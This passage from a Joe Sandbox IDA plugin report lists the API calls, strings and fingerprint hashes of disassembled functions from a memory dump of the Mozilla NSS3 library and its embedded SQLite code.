Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts4aux, xrefs: 6C63ECF9
unicode61, xrefs: 6C63EDB5
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
fts4, xrefs: 6C63F2AD
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
porter, xrefs: 6C63ED97
fts3tokenize, xrefs: 6C63F30F
fts3, xrefs: 6C63F247
simple, xrefs: 6C63ED79
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%lld, xrefs: 6C643FB2
%04d, xrefs: 6C64407B
%03d, xrefs: 6C6442E8
%02d, xrefs: 6C644086

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

oid., xrefs: 6C64F2CF
", xrefs: 6C64F21B
*, xrefs: 6C64F3C6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

sqlite_master, xrefs: 6C5F1C61
another row available, xrefs: 6C5F2287
unsupported file format, xrefs: 6C5F2188
abort due to ROLLBACK, xrefs: 6C5F2223
attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
table, xrefs: 6C5F1C8B
no more rows available, xrefs: 6C5F2264
unknown error, xrefs: 6C5F2291
sqlite_temp_master, xrefs: 6C5F1C5C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
sub-select returns %d columns - expected %d, xrefs: 6C61805F
ON clause references tables to its right, xrefs: 6C616BEC
-, xrefs: 6C6162F9
u, xrefs: 6C6181DA
2, xrefs: 6C6165B4
NOCASE, xrefs: 6C618703
-, xrefs: 6C616228

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

application data, xrefs: 6C6EDFE0
handshake data, xrefs: 6C6EDFF7
key, xrefs: 6C6EE046
early application data, xrefs: 6C6EDFC9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C693850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C69389F
EnterCriticalSection.KERNEL32(?), ref: 6C6938B3
PR_Unlock.NSS3(?), ref: 6C6938F1
TlsGetValue.KERNEL32 ref: 6C69390F
EnterCriticalSection.KERNEL32(?), ref: 6C693923
PR_Unlock.NSS3(?), ref: 6C693972
TlsGetValue.KERNEL32 ref: 6C693996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C6939AE
PR_Unlock.NSS3(?), ref: 6C6939DB
PR_Unlock.NSS3(?), ref: 6C693A16

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
